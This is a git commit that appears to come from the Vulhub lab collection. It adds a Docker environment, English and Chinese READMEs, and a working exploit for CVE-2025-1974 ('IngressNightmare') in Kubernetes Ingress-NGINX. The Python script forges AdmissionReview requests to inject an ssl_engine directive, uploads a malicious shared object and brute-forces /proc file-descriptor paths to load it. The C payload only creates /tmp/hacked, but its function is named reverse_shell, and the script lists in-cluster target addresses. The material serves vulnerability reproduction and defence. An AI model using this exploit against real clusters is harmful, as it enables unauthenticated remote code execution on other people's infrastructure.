first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1 @@
*.so

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

View File

@@ -0,0 +1,61 @@
# Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution (CVE-2025-1974)
[中文版本(Chinese version)](README.zh-cn.md)
Ingress-NGINX is an ingress controller for Kubernetes that uses NGINX as a reverse proxy and load balancer.
The "IngressNightmare" vulnerability (CVE-2025-1974) stems from a critical flaw in the Ingress-NGINX Admission Controller, a core Kubernetes security mechanism responsible for validating incoming Ingress resources. This controller is exposed over the network without requiring authentication, allowing attackers to craft malicious `AdmissionReview` requests and inject unauthorized configurations into Ingress resources. When chained with other vulnerabilities (CVE-2025-24514, CVE-2025-1097, or CVE-2025-1098), this can lead to remote code execution.
Some exploitable chains are known:
- CVE-2025-1974 + CVE-2025-24514: RCE via `auth-url` annotation injection
- CVE-2025-1974 + CVE-2025-1097: RCE via `auth-tls-match-cn` annotation
- CVE-2025-1974 + CVE-2025-1098: RCE via image UID abuse
References:
- <https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities>
- <https://kubernetes.io/blog/2025/03/24/ingress-nginx-cve-2025-1974/>
- <https://github.com/yoshino-s/CVE-2025-1974>
- <https://github.com/Clifford-prog/IngressNightmare-PoC>
- <https://github.com/kubernetes/ingress-nginx/blob/8c1ecd7655bd052a26e64d3361dede3096cd80c6/internal/ingress/controller/controller.go#L425>
## Environment Setup
To simulate the vulnerability, a K3s-based Kubernetes environment is used for simplicity:
```
docker compose up -d
```
The script will wait for the Kubernetes API to be ready and for the ingress-nginx controller to start. Once the environment starts, Ingress-NGINX listens on ports 30080 and 30443 (TLS), and the Ingress-NGINX Admission Controller also reverse proxies to port 30443for example `https://localhost:30443/networking/v1/ingresses`.
## Vulnerability Reproduction
First, a shared object (`.so`) payload matching the container's architecture needs to be compiled.
```c
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
```
Use the following command to compile the source code:
```
gcc -shared -fPIC -o shell.so shell.c
```
After compiling the source code above with the appropriate environment, use [exploit.py](exploit.py) to exploit the vulnerability:
```
python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
```
The exploit works by forging an `AdmissionReview` request to inject an `ssl_engine` directive, which forces NGINX to load the malicious dynamic shared object. Upon successful exploitation, you should observe the creation of a `/tmp/hacked` file inside the ingress-nginx container.
![](1.png)

View File

@@ -0,0 +1,61 @@
# Kubernetes Ingress-NGINX未授权远程代码执行漏洞(CVE-2025-1974)
Ingress-NGINX是Kubernetes的一个入口控制器使用NGINX作为反向代理和负载均衡器。
CVE-2025-1974又称IngressNightmare漏洞源于Ingress-NGINX Admission Controller的关键缺陷。准入控制器是Kubernetes的内部安全机制用于在部署传入的入口对象之前对其进行验证。然而该控制器无需身份验证即可通过网络访问攻击者可以利用这一特性向准入控制器发送恶意的`AdmissionReview`请求注入未授权的配置到Ingress资源中。
指的注意的是,这个漏洞需要配合其他漏洞组合成利用链才能执行任意命令。
已知的可利用链包括:
- CVE-2025-1974 + CVE-2025-24514: 通过`auth-url`注释注入RCE
- CVE-2025-1974 + CVE-2025-1097: 通过`auth-tls-match-cn`注释注入RCE
- CVE-2025-1974 + CVE-2025-1098: 通过镜像UID滥用注入RCE
参考链接:
- <https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities>
- <https://kubernetes.io/blog/2025/03/24/ingress-nginx-cve-2025-1974/>
- <https://github.com/yoshino-s/CVE-2025-1974>
- <https://github.com/Clifford-prog/IngressNightmare-PoC>
- <https://github.com/kubernetes/ingress-nginx/blob/8c1ecd7655bd052a26e64d3361dede3096cd80c6/internal/ingress/controller/controller.go#L425>
## 漏洞环境
执行如下命令启动Kubernetes环境这里使用轻量的K3s作为集群方案借助Docker Compose启动
```
docker compose up -d
```
该脚本会等待Kubernetes API就绪以及ingress-nginx控制器启动。环境启动后Ingress-NGINX会同时监听30080和30443(TLS)端口同时Ingress-NGINX Admission Controller还会反向代理到30443端口例如`https://localhost:30443/networking/v1/ingresses`
## 漏洞复现
首先需要编译一个与目标架构相匹配的动态链接库(.so文件
```c
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
```
使用以下命令将上述源代码编译为动态链接库:
```
gcc -shared -fPIC -o shell.so shell.c
```
完成编译后,使用[exploit.py](exploit.py)来复现漏洞:
```
python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
```
该利用通过伪造`AdmissionReview`请求,注入`ssl_engine`指令迫使NGINX加载恶意的动态共享对象。利用成功后你可以在ingress-nginx容器的`/tmp`目录下看到创建的`hacked`文件。
![](1.png)

View File

@@ -0,0 +1,9 @@
services:
k3s:
image: vulhub/ingress-nginx:1.9.5
privileged: true
environment:
- K3S_KUBECONFIG_MODE=666
ports:
- 30080:30080
- 30443:30443

View File

@@ -0,0 +1,233 @@
import base64
import time
import argparse
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
admission_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
# print(response.text) - use this to debug (check response of admission webhook)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
# proc = input("INPUT PROC:") - use this for manual testing
# fd = input("INPUT FD:") - use this for manual testing
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
for proc in range(160, 180): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
def exploit(ingress_url, shell_file):
if not os.path.exists(shell_file):
print(f"Error: Shell file '{shell_file}' not found")
sys.exit(1)
so = open(shell_file, 'rb').read() + b"\x00" * 8092
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(1)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Response:")
print(response.decode(errors="ignore"))
sock.close()
def parse_arguments():
# Default values for the service
default_admission = "https://localhost:32043/networking/v1/ingresses"
default_ingress = "http://localhost:32080/fake/addr"
# Suggested values when running in a kubernetes cluster
suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
parser.add_argument('-a', '--admission',
default=default_admission,
help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
parser.add_argument('-i', '--ingress',
default=default_ingress,
help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
parser.add_argument('-s', '--shell-file',
default="shell.so",
help='Path to the shell.so file (default: shell.so)')
parser.add_argument('-w', '--workers',
type=int,
default=10,
help='Number of worker threads for brute forcing (default: 10)')
return parser.parse_args()
def main():
args = parse_arguments()
print(f"[*] Using shell file: {args.shell_file}")
print(f"[*] Admission URL: {args.admission}")
print(f"[*] Ingress URL: {args.ingress}")
print(f"[*] Workers: {args.workers}")
print("[*] Starting exploit...")
# Send the library to the ingress pod and keep the connection open
# to keep the file open via the file descriptor (FD)
x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
x.start()
# Give the exploit thread time to start and upload the shellcode
time.sleep(2)
# Start the admission webhook brute force (/proc/{pid}/fd/{fd})
admission_brute(args.admission, max_workers=args.workers)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,7 @@
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}